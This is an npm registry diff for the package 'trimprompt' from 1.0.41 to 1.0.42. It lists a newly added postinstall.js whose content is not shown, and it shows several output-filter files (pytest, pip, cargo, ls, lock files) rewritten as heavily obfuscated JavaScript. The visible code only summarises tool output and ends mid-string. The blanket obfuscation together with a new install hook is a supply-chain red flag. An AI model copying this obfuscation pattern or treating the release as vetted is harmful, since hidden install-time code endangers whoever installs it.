trimprompt 1.0.41 → 1.0.42
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +493 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/mcp.js +1 -1
- package/package.json +2 -2
- package/postinstall.js +21 -0
- package/proxy-conv.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +387 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0xc2d57b=a0_0x4e39;(function(_0x581523,_0x2138ee){const _0x48709e=a0_0x4e39,_0x227e3b=_0x581523();while(!![]){try{const _0x2748b9=parseInt(_0x48709e(0xbc))/0x1+parseInt(_0x48709e(0xb8))/0x2*(-parseInt(_0x48709e(0xb1))/0x3)+parseInt(_0x48709e(0xae))/0x4+parseInt(_0x48709e(0xbf))/0x5*(parseInt(_0x48709e(0xb3))/0x6)+-parseInt(_0x48709e(0xa4))/0x7+-parseInt(_0x48709e(0xaf))/0x8+parseInt(_0x48709e(0xb6))/0x9*(parseInt(_0x48709e(0xbb))/0xa);if(_0x2748b9===_0x2138ee)break;else _0x227e3b['push'](_0x227e3b['shift']());}catch(_0x25ea7a){_0x227e3b['push'](_0x227e3b['shift']());}}}(a0_0x1b87,0x7b2bc));function a0_0x1b87(){const _0x43b126=['\x20\x20\x20\x20','___','6673331yHFQoy','Pytest:\x20All\x20tests\x20passed','===\x20ERRORS\x20===','match','join','push','.\x20[FAIL]\x20','Downloading','passed','startsWith','3501800gpfhML','6291432VCSwnv','__esModule','501NbGpHF','\x20\x20\x20\x20...\x20(','81444OYLESM','===\x20short\x20test\x20summary\x20info\x20===','failed','9RQqCJq','Successfully\x20installed','1650SGJvxF','\x20\x20...\x20+','filterPipInstall','3082930sxrsUU','220974aUStQA','\x20skipped','trim','360dPJwCy','\x20xpassed\x20(warning!)','replace','Requirement\x20already\x20satisfied','\x20more\x20failures\x20truncated','\x20lines\x20of\x20stacktrace\x20truncated)','filter','\x20failed','\x20in\x20','E\x20\x20\x20','\x20passed','slice','\x20xfailed','Pytest:\x20','length','===','includes','split'];a0_0x1b87=function(){return _0x43b126;};return a0_0x1b87();}Object['defineProperty'](exports,a0_0xc2d57b(0xb0),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0xc2d57b(0xba)]=filterPipInstall;function a0_0x4e39(_0x46aa77,_0x2bae36){_0x46aa77=_0x46aa77-0x99;const _0x1b8794=a0_0x1b87();let _0x4e396b=_0x1b8794[_0x46aa77];return _0x4e396b;}function filterPytest(_0x3ac081){const _0x30693a=a0_0xc2d57b,_0x2e97a2=_0x3ac081[_0x30693a(0xa1)]('\x0a');let _0x181764=0x0,_0x469daf=0x0,_0x44a53b=0x0,_0x200c48=0x0,_0x4cff68=0x0;const _0x576a97=[];let _0x46846c=[],_0x54fdf3=![];for(const _0x285a84 of _0x2e97a2){const _0x1f4c0b=_0x285a84[_0x30693a(0xbe)]();if(_0x1f4c0b['startsWith']('===\x20FAILURES\x20===')||_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0xa6))){_0x54fdf3=!![];continue;}else(_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0xb4))||_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0x9f))&&_0x1f4c0b[_0x30693a(0xa0)](_0x30693a(0xac)))&&(_0x54fdf3=![],_0x46846c[_0x30693a(0x9e)]>0x0&&(_0x576a97[_0x30693a(0xa9)](_0x46846c),_0x46846c=[]));if(_0x54fdf3){if(_0x1f4c0b[_0x30693a(0xad)](_0x30693a(0xa3)))_0x46846c['length']>0x0&&(_0x576a97['push'](_0x46846c),_0x46846c=[]),_0x46846c[_0x30693a(0xa9)](_0x1f4c0b);else _0x1f4c0b['length']>0x0&&_0x46846c[_0x30693a(0xa9)](_0x285a84);continue;}if(_0x1f4c0b[_0x30693a(0xad)]('===')&&_0x1f4c0b[_0x30693a(0xa0)](_0x30693a(0xc7))){const _0x2e48ea=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+passed/),_0x22f881=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+failed/),_0x2ad49c=_0x1f4c0b['match'](/(\d+)\s+skipped/),_0x40daac=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+xfailed/),_0x2c6a15=_0x1f4c0b[_0x30693a(0xa7)](/(\d+)\s+xpassed/);if(_0x2e48ea)_0x181764=parseInt(_0x2e48ea[0x1]);if(_0x22f881)_0x469daf=parseInt(_0x22f881[0x1]);if(_0x2ad49c)_0x44a53b=parseInt(_0x2ad49c[0x1]);if(_0x40daac)_0x200c48=parseInt(_0x40daac[0x1]);if(_0x2c6a15)_0x4cff68=parseInt(_0x2c6a15[0x1]);}}_0x46846c[_0x30693a(0x9e)]>0x0&&_0x576a97[_0x30693a(0xa9)](_0x46846c);if(_0x181764===0x0&&_0x469daf===0x0&&_0x44a53b===0x0&&_0x200c48===0x0&&_0x4cff68===0x0){if(_0x3ac081['includes'](_0x30693a(0xac))&&!_0x3ac081['includes'](_0x30693a(0xb5)))return _0x30693a(0xa5);return _0x3ac081;}if(_0x469daf===0x0&&_0x181764>0x0&&_0x44a53b===0x0&&_0x200c48===0x0&&_0x4cff68===0x0)return _0x30693a(0x9d)+_0x181764+'\x20passed';const _0x149680=[];_0x149680[_0x30693a(0xa9)](_0x30693a(0x9d)+_0x181764+_0x30693a(0x9a));if(_0x469daf>0x0)_0x149680['push'](_0x469daf+_0x30693a(0xc6));if(_0x44a53b>0x0)_0x149680['push'](_0x44a53b+_0x30693a(0xbd));if(_0x200c48>0x0)_0x149680[_0x30693a(0xa9)](_0x200c48+_0x30693a(0x9c));if(_0x4cff68>0x0)_0x149680[_0x30693a(0xa9)](_0x4cff68+_0x30693a(0xc0));const _0x396c42=[_0x149680[_0x30693a(0xa8)](',\x20')];if(_0x576a97[_0x30693a(0x9e)]>0x0){_0x396c42[_0x30693a(0xa9)]('\x0aFailures:');const _0x43026d=0x3,_0x13065b=_0x576a97[_0x30693a(0x9b)](0x0,_0x43026d);for(let _0x4de417=0x0;_0x4de417<_0x13065b[_0x30693a(0x9e)];_0x4de417++){const _0x59bb42=_0x13065b[_0x4de417],_0x4ee844=_0x59bb42[0x0][_0x30693a(0xc1)](/_/g,'')[_0x30693a(0xbe)]();_0x396c42[_0x30693a(0xa9)]('\x20\x20'+(_0x4de417+0x1)+_0x30693a(0xaa)+_0x4ee844);const _0x211ebe=_0x59bb42[_0x30693a(0x9b)](0x1),_0x498869=_0x211ebe['filter'](_0x29109c=>{const _0x4fc1c0=_0x30693a,_0x43c8a4=_0x29109c[_0x4fc1c0(0xbe)]();return _0x43c8a4[_0x4fc1c0(0xad)]('>')||_0x43c8a4[_0x4fc1c0(0xad)](_0x4fc1c0(0x99))||_0x43c8a4['includes']('.py:')||_0x43c8a4[_0x4fc1c0(0xa0)]('AssertionError:');});for(const _0x34b584 of _0x498869[_0x30693a(0x9b)](0x0,0x8)){_0x396c42[_0x30693a(0xa9)](_0x30693a(0xa2)+_0x34b584);}_0x498869[_0x30693a(0x9e)]>0x8&&_0x396c42[_0x30693a(0xa9)](_0x30693a(0xb2)+(_0x498869[_0x30693a(0x9e)]-0x8)+_0x30693a(0xc4));}_0x576a97[_0x30693a(0x9e)]>_0x43026d&&_0x396c42['push'](_0x30693a(0xb9)+(_0x576a97[_0x30693a(0x9e)]-_0x43026d)+_0x30693a(0xc3));}return _0x396c42[_0x30693a(0xa8)]('\x0a');}function filterPipInstall(_0x4ba11b){const _0x13bef4=a0_0xc2d57b,_0x3ac2d0=_0x4ba11b['split']('\x0a'),_0x53dbba=[];for(const _0x3d17a1 of _0x3ac2d0){const _0x53c29f=_0x3d17a1[_0x13bef4(0xbe)]();_0x53c29f['startsWith'](_0x13bef4(0xb7))&&_0x53dbba['push'](_0x53c29f);}if(_0x53dbba['length']>0x0)return _0x53dbba[_0x13bef4(0xa8)]('\x0a');return _0x3ac2d0[_0x13bef4(0xc5)](_0x5eec83=>{const _0x300320=_0x13bef4,_0x3f2ffd=_0x5eec83[_0x300320(0xbe)]();return!_0x3f2ffd[_0x300320(0xad)]('Collecting')&&!_0x3f2ffd[_0x300320(0xad)](_0x300320(0xab))&&!_0x3f2ffd['includes']('Using\x20cached')&&!_0x3f2ffd['startsWith'](_0x300320(0xc2));})['join']('\x0a')[_0x13bef4(0xbe)]();}
|
package/filters/rust.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function
|
|
1
|
+
'use strict';const a0_0x567dca=a0_0x5072;function a0_0x2a6f(){const _0x26a97d=['\x20warnings','\x20more\x20failures','warning[','\x0aWarnings:','includes','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','__esModule','trim','6971106ORmDAG','\x20passed','\x20errors,\x20','20oJtTvq','left:','\x20crates\x20successfully','90TFlbmj','filterCargoTest','Cargo\x20test:\x20','\x20\x20...\x20+','\x20more\x20errors','replace','defineProperty','\x20\x20\x20\x20','split','right:','\x20ignored','min','659101sDWSci','push','6739740OWixHY','\x20passed,\x20','Compiling\x20','error:','length','7902125emmVYc','7RKcUpc','warning:','673095kwesFa','Cargo:\x20compiled\x20','slice','\x0aFailures:','2WkDFuO','filter','failures:','test\x20result:','match','assert','startsWith','error[','1264448NsTsry','897630jGvoys','join','\x20failed,\x20','panicked','Cargo\x20test:\x20all\x20tests\x20passed','\x20crates,\x20'];a0_0x2a6f=function(){return _0x26a97d;};return a0_0x2a6f();}(function(_0x5181f8,_0x4d347f){const _0x5bc6f2=a0_0x5072,_0x438629=_0x5181f8();while(!![]){try{const _0x1997f5=-parseInt(_0x5bc6f2(0x19d))/0x1*(parseInt(_0x5bc6f2(0x174))/0x2)+parseInt(_0x5bc6f2(0x170))/0x3*(parseInt(_0x5bc6f2(0x18e))/0x4)+parseInt(_0x5bc6f2(0x19f))/0x5+-parseInt(_0x5bc6f2(0x18b))/0x6*(parseInt(_0x5bc6f2(0x1a5))/0x7)+parseInt(_0x5bc6f2(0x17c))/0x8+-parseInt(_0x5bc6f2(0x191))/0x9*(-parseInt(_0x5bc6f2(0x17d))/0xa)+-parseInt(_0x5bc6f2(0x1a4))/0xb;if(_0x1997f5===_0x4d347f)break;else _0x438629['push'](_0x438629['shift']());}catch(_0x5607b7){_0x438629['push'](_0x438629['shift']());}}}(a0_0x2a6f,0xf0c14));Object[a0_0x567dca(0x197)](exports,a0_0x567dca(0x189),{'value':!![]}),exports[a0_0x567dca(0x192)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x2e0476){const _0x2ac3f0=a0_0x567dca,_0x167ae0=_0x2e0476['split']('\x0a');let _0x2143dd=0x0,_0x52236d=0x0,_0x111f80=0x0,_0x24edb8=0x0;const _0x17ef8d=[];let _0x5a630a=![],_0x1e67c1=[];for(const _0x2b486b of _0x167ae0){const _0x3141a5=_0x2b486b[_0x2ac3f0(0x18a)](),_0x1ef47e=_0x3141a5[_0x2ac3f0(0x178)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x1ef47e){_0x2143dd+=parseInt(_0x1ef47e[0x2]),_0x52236d+=parseInt(_0x1ef47e[0x3]),_0x111f80+=parseInt(_0x1ef47e[0x4]),_0x24edb8+=parseInt(_0x1ef47e[0x5]);continue;}if(_0x3141a5===_0x2ac3f0(0x176)||_0x3141a5==='----\x20failures\x20----'){_0x5a630a=!![];continue;}if(_0x5a630a){if(_0x3141a5[_0x2ac3f0(0x17a)]('----\x20')&&_0x3141a5['endsWith']('\x20----')){if(_0x1e67c1[_0x2ac3f0(0x1a3)]>0x0)_0x17ef8d[_0x2ac3f0(0x19e)](_0x1e67c1[_0x2ac3f0(0x17e)]('\x0a'));_0x1e67c1=[_0x3141a5[_0x2ac3f0(0x196)](/^-+\s*/,'')[_0x2ac3f0(0x196)](/\s*-+$/,'')];}else{if(_0x3141a5===_0x2ac3f0(0x176)||_0x3141a5[_0x2ac3f0(0x17a)](_0x2ac3f0(0x177))){if(_0x1e67c1[_0x2ac3f0(0x1a3)]>0x0)_0x17ef8d[_0x2ac3f0(0x19e)](_0x1e67c1['join']('\x0a'));_0x1e67c1=[],_0x5a630a=![];}else _0x3141a5['length']>0x0&&_0x1e67c1[_0x2ac3f0(0x19e)](_0x2b486b);}}}if(_0x1e67c1['length']>0x0)_0x17ef8d[_0x2ac3f0(0x19e)](_0x1e67c1[_0x2ac3f0(0x17e)]('\x0a'));if(_0x2143dd===0x0&&_0x52236d===0x0&&_0x111f80===0x0){if(_0x2e0476[_0x2ac3f0(0x187)]('test\x20result:\x20ok'))return _0x2ac3f0(0x181);return _0x2e0476;}if(_0x52236d===0x0){const _0x5dcc82=[_0x2ac3f0(0x193)+_0x2143dd+_0x2ac3f0(0x18c)];if(_0x111f80>0x0)_0x5dcc82[_0x2ac3f0(0x19e)](_0x111f80+_0x2ac3f0(0x19b));return _0x5dcc82[_0x2ac3f0(0x17e)](',\x20');}const _0x4b1b2a=[_0x2ac3f0(0x193)+_0x2143dd+_0x2ac3f0(0x1a0)+_0x52236d+_0x2ac3f0(0x17f)+_0x111f80+_0x2ac3f0(0x19b)];if(_0x17ef8d['length']>0x0){_0x4b1b2a[_0x2ac3f0(0x19e)](_0x2ac3f0(0x173));const _0x30ab07=0x3;for(let _0x266a38=0x0;_0x266a38<Math[_0x2ac3f0(0x19c)](_0x17ef8d[_0x2ac3f0(0x1a3)],_0x30ab07);_0x266a38++){const _0x310229=_0x17ef8d[_0x266a38][_0x2ac3f0(0x199)]('\x0a');_0x4b1b2a[_0x2ac3f0(0x19e)]('\x20\x20'+(_0x266a38+0x1)+'.\x20'+_0x310229[0x0]);const _0x411288=_0x310229[_0x2ac3f0(0x172)](0x1),_0x6a869e=_0x411288[_0x2ac3f0(0x175)](_0x275266=>_0x275266['trim']()[_0x2ac3f0(0x17a)]('thread')||_0x275266[_0x2ac3f0(0x187)](_0x2ac3f0(0x180))||_0x275266[_0x2ac3f0(0x187)](_0x2ac3f0(0x179))||_0x275266['includes'](_0x2ac3f0(0x18f))||_0x275266[_0x2ac3f0(0x187)](_0x2ac3f0(0x19a)));for(const _0x9e9c4e of _0x6a869e[_0x2ac3f0(0x172)](0x0,0x5)){_0x4b1b2a[_0x2ac3f0(0x19e)](_0x2ac3f0(0x198)+_0x9e9c4e['trim']());}}_0x17ef8d[_0x2ac3f0(0x1a3)]>_0x30ab07&&_0x4b1b2a['push']('\x20\x20...\x20+'+(_0x17ef8d[_0x2ac3f0(0x1a3)]-_0x30ab07)+_0x2ac3f0(0x184));}return _0x4b1b2a[_0x2ac3f0(0x17e)]('\x0a');}function a0_0x5072(_0x78bc6f,_0x3e2cfc){_0x78bc6f=_0x78bc6f-0x16f;const _0x2a6f89=a0_0x2a6f();let _0x507279=_0x2a6f89[_0x78bc6f];return _0x507279;}function filterCargoBuild(_0x42a411){const _0xd1f6c6=a0_0x567dca,_0x16e249=_0x42a411[_0xd1f6c6(0x199)]('\x0a'),_0x50fcba=[],_0x111113=[];let _0x460cc7=0x0;for(const _0xafa09c of _0x16e249){const _0x13b38f=_0xafa09c['trim']();if(_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x1a1)))_0x460cc7++;else{if(_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x185))||_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x16f)))_0x50fcba[_0xd1f6c6(0x19e)](_0x13b38f);else{if(_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x17b))||_0x13b38f[_0xd1f6c6(0x17a)](_0xd1f6c6(0x1a2)))_0x111113[_0xd1f6c6(0x19e)](_0x13b38f);}}}if(_0x111113[_0xd1f6c6(0x1a3)]===0x0&&_0x50fcba[_0xd1f6c6(0x1a3)]===0x0)return _0x460cc7>0x0?_0xd1f6c6(0x171)+_0x460cc7+_0xd1f6c6(0x190):_0x42a411[_0xd1f6c6(0x18a)]();const _0x35d0df=[];if(_0x111113[_0xd1f6c6(0x1a3)]>0x0){_0x35d0df[_0xd1f6c6(0x19e)]('Cargo:\x20'+_0x111113[_0xd1f6c6(0x1a3)]+_0xd1f6c6(0x18d)+_0x50fcba[_0xd1f6c6(0x1a3)]+_0xd1f6c6(0x183)),_0x35d0df[_0xd1f6c6(0x19e)]('\x0aErrors:');for(const _0x3056ac of _0x111113[_0xd1f6c6(0x172)](0x0,0x5))_0x35d0df['push']('\x20\x20'+_0x3056ac);if(_0x111113[_0xd1f6c6(0x1a3)]>0x5)_0x35d0df[_0xd1f6c6(0x19e)](_0xd1f6c6(0x194)+(_0x111113[_0xd1f6c6(0x1a3)]-0x5)+_0xd1f6c6(0x195));}else _0x35d0df[_0xd1f6c6(0x19e)](_0xd1f6c6(0x171)+_0x460cc7+_0xd1f6c6(0x182)+_0x50fcba['length']+_0xd1f6c6(0x183));if(_0x50fcba['length']>0x0&&_0x50fcba[_0xd1f6c6(0x1a3)]<=0x5){_0x35d0df[_0xd1f6c6(0x19e)](_0xd1f6c6(0x186));for(const _0x23f527 of _0x50fcba)_0x35d0df['push']('\x20\x20'+_0x23f527);}else _0x50fcba[_0xd1f6c6(0x1a3)]>0x5&&_0x35d0df[_0xd1f6c6(0x19e)]('\x0a('+_0x50fcba[_0xd1f6c6(0x1a3)]+_0xd1f6c6(0x188));return _0x35d0df['join']('\x0a');}
|
package/filters/shell.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x3b1cfc=a0_0x4b1e;(function(_0x4d862f,_0x1d9880){const _0x5e15cc=a0_0x4b1e,_0x54f288=_0x4d862f();while(!![]){try{const _0x6bfb8b=-parseInt(_0x5e15cc(0x142))/0x1+-parseInt(_0x5e15cc(0x17f))/0x2+parseInt(_0x5e15cc(0x111))/0x3*(parseInt(_0x5e15cc(0x148))/0x4)+parseInt(_0x5e15cc(0x14a))/0x5+parseInt(_0x5e15cc(0x149))/0x6+parseInt(_0x5e15cc(0x10d))/0x7+-parseInt(_0x5e15cc(0x145))/0x8;if(_0x6bfb8b===_0x1d9880)break;else _0x54f288['push'](_0x54f288['shift']());}catch(_0x39bcda){_0x54f288['push'](_0x54f288['shift']());}}}(a0_0x2086,0x7892d));function a0_0x4b1e(_0x3c91bc,_0x4418c5){_0x3c91bc=_0x3c91bc-0x105;const _0x208652=a0_0x2086();let _0x4b1ed1=_0x208652[_0x3c91bc];return _0x4b1ed1;}var __createBinding=this&&this[a0_0x3b1cfc(0x14b)]||(Object['create']?function(_0x2fa865,_0xb22231,_0x3d89d0,_0x535348){const _0x4afda1=a0_0x3b1cfc;if(_0x535348===undefined)_0x535348=_0x3d89d0;var _0x405749=Object[_0x4afda1(0x189)](_0xb22231,_0x3d89d0);(!_0x405749||(_0x4afda1(0x157)in _0x405749?!_0xb22231['__esModule']:_0x405749[_0x4afda1(0x155)]||_0x405749[_0x4afda1(0x18b)]))&&(_0x405749={'enumerable':!![],'get':function(){return _0xb22231[_0x3d89d0];}}),Object[_0x4afda1(0x10a)](_0x2fa865,_0x535348,_0x405749);}:function(_0x2be924,_0x496479,_0x2953bd,_0xdf68af){if(_0xdf68af===undefined)_0xdf68af=_0x2953bd;_0x2be924[_0xdf68af]=_0x496479[_0x2953bd];}),__setModuleDefault=this&&this[a0_0x3b1cfc(0x106)]||(Object[a0_0x3b1cfc(0x16c)]?function(_0xae7429,_0x2f6318){const _0x5098d9=a0_0x3b1cfc;Object[_0x5098d9(0x10a)](_0xae7429,_0x5098d9(0x17b),{'enumerable':!![],'value':_0x2f6318});}:function(_0x1796bb,_0x5e9f78){_0x1796bb['default']=_0x5e9f78;}),__importStar=this&&this[a0_0x3b1cfc(0x163)]||(function(){var _0x300cd9=function(_0x81ba0b){const _0x294a80=a0_0x4b1e;return _0x300cd9=Object[_0x294a80(0x11a)]||function(_0x45ef55){const _0x5d4e84=_0x294a80;var _0xf97fc9=[];for(var _0x4123c7 in _0x45ef55)if(Object[_0x5d4e84(0x16e)][_0x5d4e84(0x190)][_0x5d4e84(0x13d)](_0x45ef55,_0x4123c7))_0xf97fc9[_0xf97fc9[_0x5d4e84(0x16a)]]=_0x4123c7;return _0xf97fc9;},_0x300cd9(_0x81ba0b);};return function(_0x8d4a2e){const _0x50aa05=a0_0x4b1e;if(_0x8d4a2e&&_0x8d4a2e[_0x50aa05(0x143)])return _0x8d4a2e;var _0x196b6b={};if(_0x8d4a2e!=null){for(var _0x35669e=_0x300cd9(_0x8d4a2e),_0x3ece67=0x0;_0x3ece67<_0x35669e['length'];_0x3ece67++)if(_0x35669e[_0x3ece67]!==_0x50aa05(0x17b))__createBinding(_0x196b6b,_0x8d4a2e,_0x35669e[_0x3ece67]);}return __setModuleDefault(_0x196b6b,_0x8d4a2e),_0x196b6b;};}());Object[a0_0x3b1cfc(0x10a)](exports,a0_0x3b1cfc(0x143),{'value':!![]}),exports[a0_0x3b1cfc(0x141)]=filterLs,exports['filterTree']=filterTree,exports['filterCat']=filterCat,exports['filterGrep']=filterGrep,exports['filterFind']=filterFind;const path=__importStar(require(a0_0x3b1cfc(0x181))),generic_1=require(a0_0x3b1cfc(0x160)),tracker_1=require(a0_0x3b1cfc(0x172));function isFeatureEnabled(_0xafa03e){const _0x59bffe=a0_0x3b1cfc;try{const _0x2e7cd2=tracker_1[_0x59bffe(0x131)][_0x59bffe(0x11e)](),_0x2c308a=_0x2e7cd2['features_enabled'];if(!_0x2c308a||_0x2c308a[_0xafa03e]===undefined)return!![];return _0x2c308a[_0xafa03e]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x3b1cfc(0x180),a0_0x3b1cfc(0x184),a0_0x3b1cfc(0x15d),a0_0x3b1cfc(0x124),a0_0x3b1cfc(0x174),a0_0x3b1cfc(0x168),a0_0x3b1cfc(0x152),a0_0x3b1cfc(0x15f),a0_0x3b1cfc(0x11f)],BINARY_EXTENSIONS=[a0_0x3b1cfc(0x121),a0_0x3b1cfc(0x173),a0_0x3b1cfc(0x108),'.wasm',a0_0x3b1cfc(0x15c),'.jpg','.jpeg',a0_0x3b1cfc(0x130),a0_0x3b1cfc(0x188),a0_0x3b1cfc(0x16f),a0_0x3b1cfc(0x18e),'.svg',a0_0x3b1cfc(0x170),a0_0x3b1cfc(0x192),'.tar.gz','.tgz','.gz',a0_0x3b1cfc(0x110),a0_0x3b1cfc(0x133),a0_0x3b1cfc(0x185),'.exe',a0_0x3b1cfc(0x166),a0_0x3b1cfc(0x17c),a0_0x3b1cfc(0x107),a0_0x3b1cfc(0x14c),a0_0x3b1cfc(0x13a),'.sqlite','.db',a0_0x3b1cfc(0x175),a0_0x3b1cfc(0x187),a0_0x3b1cfc(0x177),a0_0x3b1cfc(0x10e),a0_0x3b1cfc(0x144),a0_0x3b1cfc(0x118),'.mp3',a0_0x3b1cfc(0x119),a0_0x3b1cfc(0x15e),'.avi','.mov',a0_0x3b1cfc(0x147),a0_0x3b1cfc(0x183),a0_0x3b1cfc(0x116),'.class','.o',a0_0x3b1cfc(0x136)];function extractFilename(_0x1c3cae){const _0x5963e1=a0_0x3b1cfc,_0x42818d=_0x1c3cae[_0x5963e1(0x132)]()[_0x5963e1(0x112)](/\s+/);for(let _0x13d02f=0x1;_0x13d02f<_0x42818d['length'];_0x13d02f++){if(!_0x42818d[_0x13d02f]['startsWith']('-'))return _0x42818d[_0x13d02f];}return null;}function filterLockFile(_0x3d28b2,_0x54223f){const _0xf8e2af=a0_0x3b1cfc;try{const _0x456da3=path['basename'](_0x54223f)[_0xf8e2af(0x171)]();if(!LOCK_FILES[_0xf8e2af(0x134)](_0x3abe1f=>_0x456da3===_0x3abe1f[_0xf8e2af(0x171)]()))return null;const _0xca5dfa=_0x3d28b2[_0xf8e2af(0x16a)];let _0x301a01=0x0;if(_0x456da3===_0xf8e2af(0x180))try{const _0x4dc72c=JSON[_0xf8e2af(0x13e)](_0x3d28b2);_0x301a01=Object[_0xf8e2af(0x161)](_0x4dc72c[_0xf8e2af(0x17d)]||_0x4dc72c['dependencies']||{})[_0xf8e2af(0x16a)];}catch{_0x301a01=(_0x3d28b2[_0xf8e2af(0x113)](/"resolved":/g)||[])[_0xf8e2af(0x16a)];}else{if(_0x456da3==='yarn.lock')_0x301a01=(_0x3d28b2[_0xf8e2af(0x113)](/^"?[^#\s][^:]*:$/gm)||[])[_0xf8e2af(0x16a)];else{if(_0x456da3===_0xf8e2af(0x156)||_0x456da3===_0xf8e2af(0x168))_0x301a01=(_0x3d28b2['match'](/\[\[package\]\]/g)||[])[_0xf8e2af(0x16a)];else{if(_0x456da3===_0xf8e2af(0x174))_0x301a01=Math[_0xf8e2af(0x109)](_0x3d28b2[_0xf8e2af(0x112)]('\x0a')[_0xf8e2af(0x117)](_0x41c8d7=>_0x41c8d7['trim']())[_0xf8e2af(0x16a)]/0x2);else{if(_0x456da3===_0xf8e2af(0x152))try{_0x301a01=JSON[_0xf8e2af(0x13e)](_0x3d28b2)[_0xf8e2af(0x17d)]?.[_0xf8e2af(0x16a)]||0x0;}catch{}else _0x456da3===_0xf8e2af(0x15d)?_0x301a01=(_0x3d28b2[_0xf8e2af(0x113)](/^\s{2}['"@a-z]/gm)||[])[_0xf8e2af(0x16a)]:_0x301a01=_0x3d28b2[_0xf8e2af(0x112)]('\x0a')['filter'](_0x523732=>_0x523732[_0xf8e2af(0x132)]())[_0xf8e2af(0x16a)];}}}}return'[lock\x20file]\x20'+path[_0xf8e2af(0x13f)](_0x54223f)+':\x20'+_0x301a01+_0xf8e2af(0x125)+_0xca5dfa[_0xf8e2af(0x150)]()+_0xf8e2af(0x135);}catch{return null;}}function filterBinaryOrMinified(_0x4daf20,_0x411835){const _0x15d1d5=a0_0x3b1cfc;try{if(_0x411835){const _0xf9894c=_0x411835[_0x15d1d5(0x171)]();for(const _0x142f80 of BINARY_EXTENSIONS){if(_0xf9894c['endsWith'](_0x142f80))return'[binary/minified\x20file]\x20'+path[_0x15d1d5(0x13f)](_0x411835)+',\x20'+_0x4daf20['length'][_0x15d1d5(0x150)]()+'\x20chars,\x20type:\x20'+_0x142f80+'\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)';}}const _0x332b2f=_0x4daf20[_0x15d1d5(0x165)](0x0,0x3e8);let _0x293b05=0x0;for(let _0x5f0e37=0x0;_0x5f0e37<_0x332b2f[_0x15d1d5(0x16a)];_0x5f0e37++){if(_0x332b2f[_0x15d1d5(0x123)](_0x5f0e37)===0x0)_0x293b05++;}if(_0x293b05>0x0)return _0x15d1d5(0x18f)+_0x4daf20[_0x15d1d5(0x16a)][_0x15d1d5(0x150)]()+'\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)';let _0x1bc22e=0x0;for(let _0x4f0498=0x0;_0x4f0498<_0x332b2f[_0x15d1d5(0x16a)];_0x4f0498++){const _0x46c3dd=_0x332b2f['charCodeAt'](_0x4f0498);if(_0x46c3dd<0x20&&_0x46c3dd!==0xa&&_0x46c3dd!==0xd&&_0x46c3dd!==0x9)_0x1bc22e++;}if(_0x332b2f[_0x15d1d5(0x16a)]>0x64&&_0x1bc22e>_0x332b2f[_0x15d1d5(0x16a)]*0.1)return'[binary\x20file]\x20'+_0x4daf20[_0x15d1d5(0x16a)]['toLocaleString']()+'\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)';const _0x23f387=_0x4daf20[_0x15d1d5(0x112)]('\x0a');if(_0x23f387['length']<=0x3&&_0x4daf20[_0x15d1d5(0x16a)]>0x1388)return _0x15d1d5(0x127)+_0x4daf20['length'][_0x15d1d5(0x150)]()+'\x20chars\x20across\x20'+_0x23f387['length']+_0x15d1d5(0x11d);return null;}catch{return null;}}function a0_0x2086(){const _0x7e0cf1=['composer.lock','\x20lines)','json_crusher','writable','cargo.lock','get','stripComments','\x20more\x20matches','lock','\x20more\x20files','.png','pnpm-lock.yaml','.wav','Gemfile.lock','./generic','keys','\x20directories','__importStar','smartCrushJson','substring','.dll','endsWith','poetry.lock','push','length','Empty\x20directory','create','slice','prototype','.bmp','.pdf','toLowerCase','../tracker','.min.css','go.sum','.sqlite3','...\x20+','.woff2','[code\x20skeleton]\x20','No\x20files\x20found','import\x20','default','.so','packages','binary','1815886piuSwf','package-lock.json','path','.cpp','.pyc','yarn.lock','.rar','join','.woff','.ico','getOwnPropertyDescriptor','\x20files)','configurable','extname','includes','.webp','[binary\x20file]\x20','hasOwnProperty','.go','.zip','/\x20(','__setModuleDefault','.dylib','.map','floor','defineProperty','.cs','.rb','256389QKsMUj','.ttf','.rs','.bz2','948qUbQkr','split','match','\x20lines\x20truncated]\x20...\x0a','entries','.pyo','filter','.otf','.mp4','getOwnPropertyNames','stringify','\x20lines\x20total,\x20','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','getConfig','bun.lockb','dirname','.min.js','#include\x20','charCodeAt','Cargo.lock','\x20dependencies,\x20','\x20files\x20found\x20across\x20','[minified\x20file]\x